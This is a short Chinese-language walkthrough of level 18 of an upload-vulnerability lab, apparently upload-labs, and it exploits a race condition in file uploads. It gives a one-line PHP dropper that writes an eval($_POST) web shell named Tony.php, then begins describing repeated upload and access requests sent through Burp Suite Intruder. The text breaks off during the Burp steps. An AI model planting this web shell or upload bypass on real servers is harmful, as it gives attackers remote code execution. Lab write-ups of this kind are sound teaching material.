第18关(条件竞争)
什么是条件竞争呢?
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。在这关它先把文件上传至网站目录, 然后才对文件进行检验来决定是否删除这个文件,所以我们可以通过burpsuite发送大量的上传文件和访问所创建的webshell文件的请求,从而绕过代码的限制,上传后门文件
首先我们创建一个xx.php文件(我这里是17.php文件),在里面写入以下代码:
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
这段代码的意思就是创建一个Tony.php的后门文件,Tony.php里面的内容为<?php @eval($_POST["Tony"])?>');?>
接下来我们通过bp发送大量的上传和文件访问请求
上传请求:
首先上传一个17.php并抓包, 将包发送给intruder模块(测试器模块)
找到intruder模块的位置模块,点击清除
点击有效载荷,找到没有负载和点击无限期的重复